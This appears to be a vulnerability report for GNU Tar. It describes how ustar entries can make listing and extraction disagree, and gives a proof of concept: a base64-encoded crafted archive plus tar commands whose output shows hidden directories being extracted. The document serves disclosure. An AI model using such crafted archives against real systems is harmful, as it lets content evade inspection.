The ustar format allows regular entries to represent types. This
is specified in POSIX 2017 as backwards compatibility.

Listing the content of an archive and extracting the archive lead to
different results. All GNU Tar operations should interpret a file in
the same way.

Proof of Concept:

1. Create file
cat > poc.tar.xz.b64 << EOF
/Td6WFoAAATm1rRGAgAhARwAAAAQz1jM4Cf/AG1dADedyh4ubnxHHIi7Cen6orusgKqY3paKeQwp
3//HS9EIT7Hm+MsndXfRntXVt8mu8oDpLOfC+AB9VldyCtp2jqOfTwa455qfGAcONPn6WWDgsaAh
O2Y6ptXuaF/vdaNkub7SkOBME8jHYITT5QAAAAAAHtdcflb5Zw8AAYkBgFAAAPYgb0axxGf7AgAA
AAAEWVo=
EOF
base64 -d < poc.tar.xz.b64 > poc.tar.xz

2. One entry is listed with 't'
tar -tf poc.tar.xz
owo1/

3. Two directories are extracted with 'x'
tar -xvf poc.tar.xz
owo1/
owo2/

4. No directory is extracted when first entry is ignored with 'x'
tar -xvf poc.tar.xz --exclude owo1